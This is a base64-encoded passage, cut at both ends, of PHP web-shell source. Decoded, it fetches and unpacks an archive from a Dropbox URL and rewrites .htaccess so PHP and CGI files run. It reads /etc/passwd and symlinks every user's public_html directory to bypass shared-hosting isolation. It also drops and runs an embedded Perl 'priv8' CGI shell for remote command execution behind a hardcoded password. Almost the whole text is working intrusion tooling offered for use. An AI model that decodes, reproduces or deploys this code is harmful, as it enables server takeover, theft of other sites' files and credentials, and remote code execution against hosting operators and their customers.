fUE9TVFsnU3VibWl0MTAnXSkpCnsKQG1rZGlyKCJCeVBhc3NTeW0iKTsKQGNoZGlyKCJCeVBhc3NTeW0iKTsKQGV4ZWMoJ2N1cmwgaHR0cDovL2RsLmRyb3Bib3guY29tL3UvNzQ0MjUzOTEvc3ltLnRhciAtbyBzeW0udGFyJyk7CkBleGVjKCd0YXIgLXh2ZiBzeW0udGFyJyk7CgplY2hvICI8aWZyYW1lIHNyYz1CeVBhc3NTeW0vc3ltIHdpZHRoPTEwMCUgaGVpZ2h0PTEwMCUgZnJhbWVib3JkZXI9MD48L2lmcmFtZT4gIjsKCiRmaWxlMyA9ICdPcHRpb25zIEluZGV4ZXMgRm9sbG93U3ltTGlua3MKRGlyZWN0b3J5SW5kZXggc3Nzc3NzLmh0bQpBZGRUeXBlIHR4dCAucGhwCkFkZEhhbmRsZXIgdHh0IC5waHAnOwokZnAzID0gZm9wZW4oJy5odGFjY2VzcycsJ3cnKTsKJGZ3MyA9IGZ3cml0ZSgkZnAzLCRmaWxlMyk7CmlmICgkZnczKSB7Cgp9CmVsc2UgewplY2hvICI8Zm9udCBjb2xvcj1yZWQ+WytdIE5vIFBlcm0gVG8gQ3JlYXRlIC5odGFjY2VzcyBGaWxlICE8L2ZvbnQ+PEJSPiI7Cn0KQGZjbG9zZSgkZnAzKTsKJGxpbmVzMz1AZmlsZSgnL2V0Yy9wYXNzd2QnKTsKaWYgKCEkbGluZXMzKSB7CiRhdXRocCA9IEBwb3BlbigiL2Jpbi9jYXQgL2V0Yy9wYXNzd2QiLCAiciIpOwokaSA9IDA7CndoaWxlICghZmVvZigkYXV0aHApKQokYXJlc3VsdFskaSsrXSA9IGZnZXRzKCRhdXRocCwgNDA5Nik7CiRsaW5lczMgPSAkYXJlc3VsdDsKQHBjbG9zZSgkYXV0aHApOwp9CmlmICghJGxpbmVzMykgewplY2hvICI8Zm9udCBjb2xvcj1yZWQ+WytdIENhbid0IFJlYWQgL2V0Yy9wYXNzd2QgRmlsZSAuPC9mb250PjxCUj4iOwplY2hvICI8Zm9udCBjb2xvcj1yZWQ+WytdIENhbid0IE1ha2UgVGhlIFVzZXJzIFNob3J0Y3V0cyAuPC9mb250PjxCUj4iOwplY2hvICc8Zm9udCBjb2xvcj1yZWQ+WytdIEZpbmlzaCAhPC9mb250PjxCUj4nOwp9CmVsc2Ugewpmb3JlYWNoKCRsaW5lczMgYXMgJGxpbmVfbnVtMz0+JGxpbmUzKXsKJHNwcnQzPWV4cGxvZGUoIjoiLCRsaW5lMyk7CiR1c2VyMz0kc3BydDNbMF07CkBleGVjKCcuL2xuIC1zIC9ob21lLycuJHVzZXIzLicvcHVibGljX2h0bWwgJyAuICR1c2VyMyk7Cn0KfQp9CmlmIChpc3NldCgkX1BPU1RbJ1N1Ym1pdDEyJ10pKSB7CkBta2Rpcigic3ltbGlua3VzZXIiKTsKQGNoZGlyKCJzeW1saW5rdXNlciIpOwplY2hvICI8aWZyYW1lIHNyYz1zeW1saW5rdXNlci8gd2lkdGg9MTAwJSBoZWlnaHQ9MTAwJSBmcmFtZWJvcmRlcj0wPjwvaWZyYW1lPiAiOwokZmlsZTMgPSAnT3B0aW9ucyBGb2xsb3dTeW1MaW5rcyBNdWx0aVZpZXdzIEluZGV4ZXMgRXhlY0NHSQpBZGRUeXBlIGFwcGxpY2F0aW9uL3gtaHR0cGQtY2dpIC5jaW4KQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5jaW4KQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5jaW4nOwokZnAzID0gZm9wZW4oJy5odGFjY2VzcycsJ3cnKTsKJGZ3MyA9IGZ3cml0ZSgkZnAzLCRmaWxlMyk7CmlmICgkZnczKSB7Cgp9CmVsc2UgewplY2hvICI8Zm9udCBjb2xvcj1yZWQ+WytdIE5vIFBlcm0gVG8gQ3JlYXRlIC5odGFjY2VzcyBGaWxlICE8L2ZvbnQ+PEJSPiI7Cn0KQGZjbG9zZSgkZnAzKTsKJGZpbGVTID0gYmFzZTY0X2RlY29kZSgiSXlFdmRYTnlMMkpwYmk5d1pYSnNDbTl3Wlc0Z1NVNVFWVlFzSUNJOEwyVjBZeTl3WVhOemQyUWlPd3AzYUdsc1pTQW9JRHhKVGxCVgpWRDRnS1FwN0NpUnNhVzVsUFNSZk95QkFjM0J5ZEQxemNHeHBkQ2d2T2k4c0pHeHBibVVwT3lBa2RYTmxjajBrYzNCeWRGc3dYVHNLCmMzbHpkR1Z0S0Nkc2JpQXRjeUF2YUc5dFpTOG5MaVIxYzJWeUxpY3ZjSFZpYkdsalgyaDBiV3dnSnlBdUlDUjFjMlZ5S1RzS2ZRPT0KIik7CiRmcFMgPSBAZm9wZW4oIlBMLVN5bWxpbmsuY2luIiwndycpOwokZndTID0gQGZ3cml0ZSgkZnBTLCRmaWxlUyk7CmlmICgkZndTKSB7CiRURVNUPUBmaWxlKCcvZXRjL3Bhc3N3ZCcpOwppZiAoISRURVNUKSB7CmVjaG8gIjxmb250IGNvbG9yPXJlZD5bK10gQ2FuJ3QgUmVhZCAvZXRjL3Bhc3N3ZCBGaWxlIC48L2ZvbnQ+PEJSPiI7CmVjaG8gIjxmb250IGNvbG9yPXJlZD5bK10gQ2FuJ3QgQ3JlYXRlIFVzZXJzIFNob3J0Y3V0cyAuPC9mb250PjxCUj4iOwplY2hvICc8Zm9udCBjb2xvcj1yZWQ+WytdIEZpbmlzaCAhPC9mb250PjxCUj4nOwp9CmVsc2UgewpjaG1vZCgiUEwtU3ltbGluay5jaW4iLDA3NTUpOwplY2hvIEBzaGVsbF9leGVjKCJwZXJsIFBMLVN5bWxpbmsuY2luIik7Cn0KQGZjbG9zZSgkZnBTKTsKfQplbHNlIHsKZWNobyAiPGZvbnQgY29sb3I9cmVkPlsrXSBObyBQZXJtIFRvIENyZWF0ZSBQZXJsIEZpbGUgITwvZm9udD4iOwp9Cn0KaWYgKGlzc2V0KCRfUE9TVFsnU3VibWl0MTMnXSkpCnsKQG1rZGlyKCJjZ2lzaGVsbCIpOwpAY2hkaXIoImNnaXNoZWxsIik7CiAgICAgICAgJGtva2Rvc3lhID0gIi5odGFjY2VzcyI7CiAgICAgICAgJGRvc3lhX2FkaSA9ICIka29rZG9zeWEiOwogICAgICAgICRkb3N5YSA9IGZvcGVuICgkZG9zeWFfYWRpICwgJ3cnKSBvciBkaWUgKCJEb3N5YSBhw6fEsWxhbWFkxLEhIik7CiAgICAgICAgJG1ldGluID0gIk9wdGlvbnMgRm9sbG93U3ltTGlua3MgTXVsdGlWaWV3cyBJbmRleGVzIEV4ZWNDR0kKCkFkZFR5cGUgYXBwbGljYXRpb24veC1odHRwZC1jZ2kgLmNpbgoKQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5jaW4KQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5jaW4iOyAgICAKICAgICAgICBmd3JpdGUgKCAkZG9zeWEgLCAkbWV0aW4gKSA7CiAgICAgICAgZmNsb3NlICgkZG9zeWEpOwokY2dpc2hlbGxpem9jaW4gPSAnSXlFdmRYTnlMMkpwYmk5d1pYSnNJQzFKTDNWemNpOXNiMk5oYkM5aVlXNWtiV0ZwYmdvakxTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0Q2lNZ1BHSWdjM1I1YkdVOUltTnZiRzl5T21Kc1lXTnJPMkpoWTJ0bmNtOTFibVF0WTI5c2IzSTZJMlptWm1ZMk5pSStjSEpwZGpnZ1kyZHBJSE5vWld4c1BDOWlQaUFqSUhObGNuWmxjZ29qTFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRDZ29qTFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRDaU1nUTI5dVptbG5kWEpoZEdsdmJqb2dXVzkxSUc1bFpXUWdkRzhnWTJoaGJtZGxJRzl1YkhrZ0pGQmhjM04zYjNKa0lHRnVaQ0FrVjJsdVRsUXVJRlJvWlNCdmRHaGxjZ29qSUhaaGJIVmxjeUJ6YUc5MWJHUWdkMjl5YXlCbWFXNWxJR1p2Y2lCdGIzTjBJSE41YzNSbGJYTXVDaU10TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMEtKRkJoYzNOM2IzSmtJRDBnSW5CeWFYWTRJanNKQ1NNZ1EyaGhibWRsSUhSb2FYTXVJRmx2ZFNCM2FXeHNJRzVsWldRZ2RHOGdaVzUwWlhJZ2RHaHBjd29KQ1FrSkl5QjBieUJzYjJkcGJpNEtDaVJYYVc1T1ZDQTlJREE3Q1FrSkl5QlpiM1VnYm1WbFpDQjBieUJqYUdGdVoyVWdkR2hsSUhaaGJIVmxJRzltSUhSb2FYTWdkRzhnTVNCcFpnb0pDUWtKSXlCNWIzVW5jbVVnY25WdWJtbHVaeUIwYUdseklITmpjbWx3ZENCdmJpQmhJRmRwYm1SdmQzTWdUbFFLQ1FrSkNTTWdiV0ZqYUdsdVpTNGdTV1lnZVc5MUozSmxJSEoxYm01cGJtY2dhWFFnYjI0Z1ZXNXBlQ3dnZVc5MUNna0pDUWtqSUdOaGJpQnNaV0YyWlNCMGFHVWdkbUZzZFdVZ1lYTWdhWFFnYVhNdUNnb2tUbFJEYldSVFpYQWdQU0FpSmlJN0NRa2pJRlJvYVhNZ1kyaGhjbUZqZEdWeUlHbHpJSFZ6WldRZ2RHOGdjMlZ3WlhKaGRHVWdNaUJqYjIxdFlXNWtjd29KQ1FrSkl5QnBiaUJoSUdOdmJXMWhibVFnYkdsdVpTQnZiaUJYYVc1a2IzZHpJRTVVTGdvS0pGVnVhWGhEYldSVFpYQWdQU0FpT3lJN0NRa2pJRlJvYVhNZ1kyaGhjbUZqZEdWeUlHbHpJSFZ6WldRZ2RHOGdjMlZ3WlhKaGRHVWdNaUJqYjIxdFlXNWtjd29KQ1FrSkl5QnBiaUJoSUdOdmJXMWhibVFnYkdsdVpTQnZiaUJWYm1sNExnb0tKRU52YlcxaGJtUlVhVzFsYjNWMFJIVnlZWFJwYjI0Z1BTQXhNRHNKSXlCVWFXMWxJR2x1SUhObFkyOXVaSE1nWVdaMFpYSWdZMjl0YldGdVpITWdkMmxzYkNCaVpTQnJhV3hzWldRS0NRa0pDU01nUkc5dUozUWdjMlYwSUhSb2FYTWdkRzhnWVNCMlpYSjVJR3hoY21kbElIWmhiSFZsTGlCVWFHbHpJR2x6Q2drSkNRa2pJSFZ6WldaMWJDQm1iM0lnWTI5dGJXRnVaSE1nZEdoaGRDQnRZWGtnYUdGdVp5QnZjaUIwYUdGMENna0pDUWtqSUhSaGEyVWdkbVZ5ZVNCc2IyNW5JSFJ2SUdWNFpXTjFkR1VzSUd4cGEyVWdJbVpwYm1RZ0x5SXVDZ2tKQ1FraklGUm9hWE1nYVhNZ2RtRnNhV1FnYjI1c2VTQnZiaUJWYm1sNElITmxjblpsY25NdUlFbDBJR2x6Q2drSkNRa2pJR2xuYm05eVpXUWdiMjRnVGxRZ1UyVnlkbVZ5Y3k0S0NpUlRhRzkzUkhsdVlXMXBZMDkxZEhCMWRDQTlJREU3Q1FraklFbG1JSFJvYVhNZ2FYTWdNU3dnZEdobGJpQmtZWFJoSUdseklITmxiblFnZEc4Z2RHaGxDZ2tKQ1FraklHSnliM2R6WlhJZ1lYTWdjMjl2YmlCaGN5QnBkQ0JwY3lCdmRYUndkWFFzSUc5MGFHVnlkMmx6WlFvSkNRa0pJeUJwZENCcGN5QmlkV1ptWlhKbFpDQmhibVFnYzJWdVpDQjNhR1Z1SUhSb1pTQmpiMjF0WVc1a0Nna0pDUWtqSUdOdmJYQnNaWFJsY3k0Z1ZHaHBjeUJwY3lCMWMyVm1kV3dnWm05eUlHTnZiVzFoYm1SeklHeHBhMlVLQ1FrSkNTTWdjR2x1Wnl3Z2MyOGdkR2hoZENCNWIzVWdZMkZ1SUhObFpTQjBhR1VnYjNWMGNIVjBJR0Z6SUdsMENna0pDUWtqSUdseklHSmxhVzVuSUdkbGJtVnlZWFJsWkM0S0NpTWdSRTlPSjFRZ1EwaEJUa2RGSUVGT1dWUklTVTVISUVKRlRFOVhJRlJJU1ZNZ1RFbE9SU0JWVGt4RlUxTWdXVTlWSUV0T1QxY2dWMGhCVkNCWlQxVW5Va1VnUkU5SlRrY2dJU0VLQ2lSRGJXUlRaWEFnUFNBb0pGZHBiazVVSUQ4Z0pFNVVRMjFrVTJWd0lEb2dKRlZ1YVhoRGJXUlRaWEFwT3dva1EyMWtVSGRrSUQwZ0tDUlhhVzVPVkNBL0lDSmpaQ0lnT2lBaWNIZGtJaWs3Q2lSUVlYUm9VMlZ3SUQwZ0tDUlhhVzVPVkNBL0lDSmNYQ0lnT2lBaUx5SXBPd29rVW1Wa2FYSmxZM1J2Y2lBOUlDZ2tWMmx1VGxRZ1B5QWlJREkrSmpFZ01UNG1NaUlnT2lBaUlERStKakVnTWo0bU1TSXBPd29LSXkwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUW9qSUZKbFlXUnpJSFJvWlNCcGJuQjFkQ0J6Wlc1MElHSjVJSFJvWlNCaWNtOTNjMlZ5SUdGdVpDQndZWEp6WlhNZ2RHaGxJR2x1Y0hWMElIWmhjbWxoWW14bGN5NGdTWFFLSXlCd1lYSnpaWE1nUjBWVUxDQlFUMU5VSUdGdVpDQnRkV3gwYVhCaGNuUXZabTl5YlMxa1lYUmhJSFJvWVhRZ2FYTWdkWE5sWkNCbWIzSWdkWEJzYjJGa2FXNW5JR1pwYkdWekxnb2pJRlJvWlNCbWFXeGxibUZ0WlNCcGN5QnpkRzl5WldRZ2FXNGdKR2x1ZXlkbUozMGdZVzVrSUhSb1pTQmtZWFJoSUdseklITjBiM0psWkNCcGJpQWthVzU3SjJacGJHVmtZWFJoSjMwdUNpTWdUM1JvWlhJZ2RtRnlhV0ZpYkdWeklHTmhiaUJpWlNCaFkyTmxjM05sWkNCMWMybHVaeUFrYVc1N0ozWmhjaWQ5TENCM2FHVnlaU0IyWVhJZ2FYTWdkR2hsSUc1aGJXVWdiMllLSXlCMGFHVWdkbUZ5YVdGaWJHVXVJRTV2ZEdVNklFMXZjM1FnYjJZZ2RHaGxJR052WkdVZ2FXNGdkR2hwY3lCbWRXNWpkR2x2YmlCcGN5QjBZV3RsYmlCbWNtOXRJRzkwYUdWeUlFTkhTUW9qSUhOamNtbHdkSE11Q2lNdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzBLYzNWaUlGSmxZV1JRWVhKelpTQUtld29KYkc5allXd2dLQ3BwYmlrZ1BTQkFYeUJwWmlCQVh6c0tDV3h2WTJGc0lDZ2thU3dnSkd4dll5d2dKR3RsZVN3Z0pIWmhiQ2s3Q2drS0NTUk5kV3gwYVhCaGNuUkdiM0p0UkdGMFlTQTlJQ1JGVGxaN0owTlBUbFJGVGxSZlZGbFFSU2Q5SUQxK0lDOXRkV3gwYVhCaGNuUmNMMlp2Y20wdFpHRjBZVHNnWW05MWJtUmhjbms5S0M0cktTUXZPd29LQ1dsbUtDUkZUbFo3SjFKRlVWVkZVMVJmVFVWVVNFOUVKMzBnWlhFZ0lrZEZWQ0lwQ2dsN0Nna0pKR2x1SUQwZ0pFVk9WbnNuVVZWRlVsbGZVMVJTU1U1SEozMDdDZ2w5Q2dsbGJITnBaaWdrUlU1V2V5ZFNSVkZWUlZOVVgwMUZWRWhQUkNkOUlHVnhJQ0pRVDFOVUlpa0tDWHNLQ1FsaWFXNXRiMlJsS0ZOVVJFbE9LU0JwWmlBa1RYVnNkR2x3WVhKMFJtOXliVVJoZEdFZ0ppQWtWMmx1VGxRN0Nna0pjbVZoWkNoVFZFUkpUaXdnSkdsdUxDQWtSVTVXZXlkRFQwNVVSVTVVWDB4RlRrZFVTQ2Q5S1RzS0NYMEtDZ2tqSUdoaGJtUnNaU0JtYVd4bElIVndiRzloWkNCa1lYUmhDZ2xwWmlna1JVNVdleWREVDA1VVJVNVVYMVJaVUVVbmZTQTlmaUF2YlhWc2RHbHdZWEowWEM5bWIzSnRMV1JoZEdFN0lHSnZkVzVrWVhKNVBTZ3VLeWtrTHlrS0NYc0tDUWtrUW05MWJtUmhjbmtnUFNBbkxTMG5MaVF4T3lBaklIQnNaV0Z6WlNCeVpXWmxjaUIwYnlCU1JrTXhPRFkzSUFvSkNVQnNhWE4wSUQwZ2MzQnNhWFFvTHlSQ2IzVnVaR0Z5ZVM4c0lDUnBiaWs3SUFvSkNTUklaV0ZrWlhKQ2IyUjVJRDBnSkd4cGMzUmJNVjA3Q2drSkpFaGxZV1JsY2tKdlpIa2dQWDRnTDF4eVhHNWNjbHh1ZkZ4dVhHNHZPd29KQ1NSSVpXRmtaWElnUFNBa1lEc0tDUWtrUW05a2VTQTlJQ1FuT3dvZ0NRa2tRbTlrZVNBOWZpQnpMMXh5WEc0a0x5ODdJQ01nZEdobElHeGhjM1FnWEhKY2JpQjNZWE1nY0hWMElHbHVJR0o1SUU1bGRITmpZWEJsQ2drSkpHbHVleWRtYVd4bFpHRjBZU2Q5SUQwZ0pFSnZaSGs3Q2drSkpFaGxZV1JsY2lBOWZpQXZabWxzWlc1aGJXVTlYQ0lvTGlzcFhDSXZPeUFLQ1Fra2FXNTdKMlluZlNBOUlDUXhPeUFLQ1Fra2FXNTdKMlluZlNBOWZpQnpMMXdpTHk5bk93b0pDU1JwYm5zblppZDlJRDErSUhNdlhITXZMMmM3Q2dvSkNTTWdjR0Z5YzJVZ2RISmhhV3hsY2dvSkNXWnZjaWdrYVQweU95QWtiR2x6ZEZza2FWMDdJQ1JwS3lzcENna0pleUFLQ1FrSkpHeHBjM1JiSkdsZElEMStJSE12WGk0cmJtRnRaVDBrTHk4N0Nna0pDU1JzYVhOMFd5UnBYU0E5ZmlBdlhDSW9YSGNyS1Z3aUx6c0tDUWtKSkd0bGVTQTlJQ1F4T3dvSkNRa2tkbUZzSUQwZ0pDYzdDZ2tKQ1NSMllXd2dQWDRnY3k4b1hpaGNjbHh1WEhKY2JueGNibHh1S1NsOEtGeHlYRzRrZkZ4dUpDa3ZMMmM3Q2drSkNTUjJZV3dnUFg0Z2N5OGxLQzR1S1M5d1lXTnJLQ0pqSWl3Z2FHVjRLQ1F4S1NrdloyVTdDZ2tKQ1NScGJuc2thMlY1ZlNBOUlDUjJZV3c3SUFvSkNYMEtDWDBLQ1dWc2MyVWdJeUJ6ZEdGdVpHRnlaQ0J3YjNOMElHUmhkR0VnS0hWeWJDQmxibU52WkdWa0xDQnViM1FnYlhWc2RHbHdZWEowS1FvSmV3b0pDVUJwYmlBOUlITndiR2wwS0M4bUx5d2dKR2x1S1RzS0NRbG1iM0psWVdOb0lDUnBJQ2d3SUM0dUlDUWphVzRwQ2drSmV3b0pDUWtrYVc1YkpHbGRJRDErSUhNdlhDc3ZJQzluT3dvSkNRa29KR3RsZVN3Z0pIWmhiQ2tnUFNCemNHeHBkQ2d2UFM4c0lDUnBibHNrYVYwc0lESXBPd29KQ1Fra2EyVjVJRDErSUhNdkpTZ3VMaWt2Y0dGamF5Z2lZeUlzSUdobGVDZ2tNU2twTDJkbE93b0pDUWtrZG1Gc0lEMStJSE12SlNndUxpa3ZjR0ZqYXlnaVl5SXNJR2hsZUNna01Ta3BMMmRsT3dvSkNRa2thVzU3Skd0bGVYMGdMajBnSWx3d0lpQnBaaUFvWkdWbWFXNWxaQ2drYVc1N0pHdGxlWDBwS1RzS0NRa0pKR2x1ZXlSclpYbDlJQzQ5SUNSMllXdzdDZ2tKZlFvSmZRcDlDZ29qTFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRDaU1nVUhKcGJuUnpJSFJvWlNCSVZFMU1JRkJoWjJVZ1NHVmhaR1Z5Q2lNZ1FYSm5kVzFsYm5RZ01Ub2dSbTl5YlNCcGRHVnRJRzVoYldVZ2RHOGdkMmhwWTJnZ1ptOWpkWE1nYzJodmRXeGtJR0psSUhObGRBb2pMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdENuTjFZaUJRY21sdWRGQmhaMlZJWldGa1pYSUtld29KSkVWdVkyOWtaV1JEZFhKeVpXNTBSR2x5SUQwZ0pFTjFjbkpsYm5SRWFYSTdDZ2trUlc1amIyUmxaRU4xY25KbGJuUkVhWElnUFg0Z2N5OG9XMTVoTFhwQkxWb3dMVGxkS1M4bkpTY3VkVzV3WVdOcktDSklLaUlzSkRFcEwyVm5Pd29KY0hKcGJuUWdJa052Ym5SbGJuUXRkSGx3WlRvZ2RHVjRkQzlvZEcxc1hHNWNiaUk3Q2dsd2NtbHVkQ0E4UEVWT1JEc0tQR2gwYld3K0NqeG9aV0ZrUGdvOGRHbDBiR1UrY0hKcGRqZ2dZMmRwSUhOb1pXeHNQQzkwYVhSc1pUNEtKRWgwYld4TlpYUmhTR1ZoWkdWeUNnbzhiV1YwWVNCdVlXMWxQU0pyWlhsM2IzSmtjeUlnWTI5dWRHVnVkRDBpY0hKcGRqZ2dZMmRwSUhOb1pXeHNJQ0JmSUNBZ0lDQnBOVjlBYUc5MGJXRnBiQzVqYjIwaVBnbzhiV1YwWVNCdVlXMWxQU0prWlhOamNtbHdkR2x2YmlJZ1kyOXVkR1Z1ZEQwaWNISnBkamdnWTJkcElITm9aV3hzSUNCZklDQWdJR2sxWDBCb2IzUnRZV2xzTG1OdmJTSStDand2YUdWaFpENEtQR0p2WkhrZ2IyNU1iMkZrUFNKa2IyTjFiV1Z1ZEM1bUxrQmZMbVp2WTNWektDa2lJR0puWTI5c2IzSTlJaU13TURBd01EQWlJSFJ2Y0cxaGNtZHBiajBpTUNJZ2JHVm1kRzFoY21kcGJqMGlNQ0lnYldGeVoybHVkMmxrZEdnOUlqQWlJRzFoY21kcGJtaGxhV2RvZEQwaU1DSWdkR1Y0ZEQwaUl6QXdRVUV3TUNJK0NqeDBZV0pzWlNCaWIzSmtaWEk5SWpFaUlIZHBaSFJvUFNJeE1EQWxJaUJqWld4c2MzQmhZMmx1WnowaU1DSWdZMlZzYkhCaFpHUnBibWM5SWpJaVBnbzhkSEkrQ2p4MFpDQmlaMk52Ykc5eVBTSWpSa1pHUmtaR0lpQmliM0prWlhKamIyeHZjajBpSTBaR1JrWkdSaUlnWVd4cFoyNDlJbU5sYm5SbGNpSWdkMmxrZEdnOUlqRWxJajRLUEdJK1BHWnZiblFnYzJsNlpUMGlNaUkrSXp3dlptOXVkRDQ4TDJJK1BDOTBaRDRLUEhSa0lHSm5ZMjlzYjNJOUlpTXdNREF3TUNJZ2QybGtkR2c5SWprNEpTSStQR1p2Ym5RZ1ptRmpaVDBpVm1WeVpHRnVZU0lnYzJsNlpUMGlNaUkrUEdJK0lBbzhZaUJ6ZEhsc1pUMGlZMjlzYjNJNllteGhZMnM3WW1GamEyZHliM1Z1WkMxamIyeHZjam9qWm1abVpqWTJJajV3Y21sMk9DQmpaMmtnYzJobGJHdzhMMkkrSUVOdmJtNWxZM1JsWkNCMGJ5QWtVMlZ5ZG1WeVRtRnRaVHd2WWo0OEwyWnZiblErUEM5MFpENEtQQzkwY2o0S1BIUnlQZ284ZEdRZ1kyOXNjM0JoYmowaU1pSWdZbWRqYjJ4dmNqMGlJekF3TURBd0lqNDhabTl1ZENCbVlXTmxQU0pXWlhKa1lXNWhJaUJ6YVhwbFBTSXlJajRLQ2p4aElHaHlaV1k5SWlSVFkzSnBjSFJNYjJOaGRHbHZiajloUFhWd2JHOWhaQ1prUFNSRmJtTnZaR1ZrUTNWeWNtVnVkRVJwY2lJK1BHWnZiblFnWTI5c2IzSTlJaU5HUmpBd01EQWlQbFZ3Ykc5aFpDQkdhV3hsUEM5bWIyNTBQand2WVQ0Z2ZDQUtQR0VnYUhKbFpqMGlKRk5qY21sd2RFeHZZMkYwYVc5dVAyRTlaRzkzYm14dllXUW1aRDBrUlc1amIyUmxaRU4xY25KbGJuUkVhWElpUGp4bWIyNTBJR052Ykc5eVBTSWpSa1l3TURBd0lqNUViM2R1Ykc5aFpDQkdhV3hsUEM5bWIyNTBQand2WVQ0Z2ZBbzhZU0JvY21WbVBTSWtVMk55YVhCMFRHOWpZWFJwYjI0L1lUMXNiMmR2ZFhRaVBqeG1iMjUwSUdOdmJHOXlQU0lqUmtZd01EQXdJajVFYVhOamIyNXVaV04wUEM5bWIyNTBQand2WVQ0Z2ZBbzhMMlp2Ym5RK1BDOTBaRDRLUEM5MGNqNEtQQzkwWVdKc1pUNEtQR1p2Ym5RZ2MybDZaVDBpTXlJK0NrVk9SQXA5Q2dvakxTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0Q2lNZ1VISnBiblJ6SUhSb1pTQk1iMmRwYmlCVFkzSmxaVzRLSXkwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUXB6ZFdJZ1VISnBiblJNYjJkcGJsTmpjbVZsYmdwN0Nna2tUV1Z6YzJGblpTQTlJSEVrUEM5bWIyNTBQanhvTVQ1d1lYTnpQWEJ5YVhZNFBDOW9NVDQ4Wm05dWRDQmpiMnh2Y2owaUl6QXdPVGt3TUNJZ2MybDZaVDBpTXlJK1BIQnlaVDQ4YVcxbklHSnZjbVJsY2owaU1DSWdjM0pqUFNKb2RIUndPaTh2ZDNkM0xuQnlhWFk0TG1saWJHOW5aMlZ5TG05eVp5OXpMbkJvY0Q4clkyZHBkR1ZzYm1WMElITm9aV3hzSWlCM2FXUjBhRDBpTUNJZ2FHVnBaMmgwUFNJd0lqNDhMM0J5WlQ0S0pEc0tJeWNLQ1hCeWFXNTBJRHc4UlU1RU93bzhZMjlrWlQ0S0NsUnllV2x1WnlBa1UyVnlkbVZ5VG1GdFpTNHVManhpY2o0S1EyOXVibVZqZEdWa0lIUnZJQ1JUWlhKMlpYSk9ZVzFsUEdKeVBncEZjMk5oY0dVZ1kyaGhjbUZqZEdWeUlHbHpJRjVkQ2p4amIyUmxQaVJOWlhOellXZGxDa1ZPUkFwOUNnb2pMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdENpTWdVSEpwYm5SeklIUm9aU0J0WlhOellXZGxJSFJvWVhRZ2FXNW1iM0p0Y3lCMGFHVWdkWE5sY2lCdlppQmhJR1poYVd4bFpDQnNiMmRwYmdvakxTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0Q25OMVlpQlFjbWx1ZEV4dloybHVSbUZwYkdWa1RXVnpjMkZuWlFwN0NnbHdjbWx1ZENBOFBFVk9SRHNLUEdOdlpHVStDanhpY2o1c2IyZHBiam9nWVdSdGFXNDhZbkkrQ25CaGMzTjNiM0prT2p4aWNqNEtURzluYVc0Z2FXNWpiM0p5WldOMFBHSnlQanhpY2o0S1BDOWpiMlJsUGdwRlRrUUtmUW9LSXkwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUW9qSUZCeWFXNTBjeUIwYUdVZ1NGUk5UQ0JtYjNKdElHWnZjaUJzYjJkbmFXNW5JR2x1Q2lNdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzBLYzNWaUlGQnlhVzUwVEc5bmFXNUdiM0p0Q25zS0NYQnlhVzUwSUR3OFJVNUVPd284WTI5a1pUNEtDanhtYjNKdElHNWhiV1U5SW1Za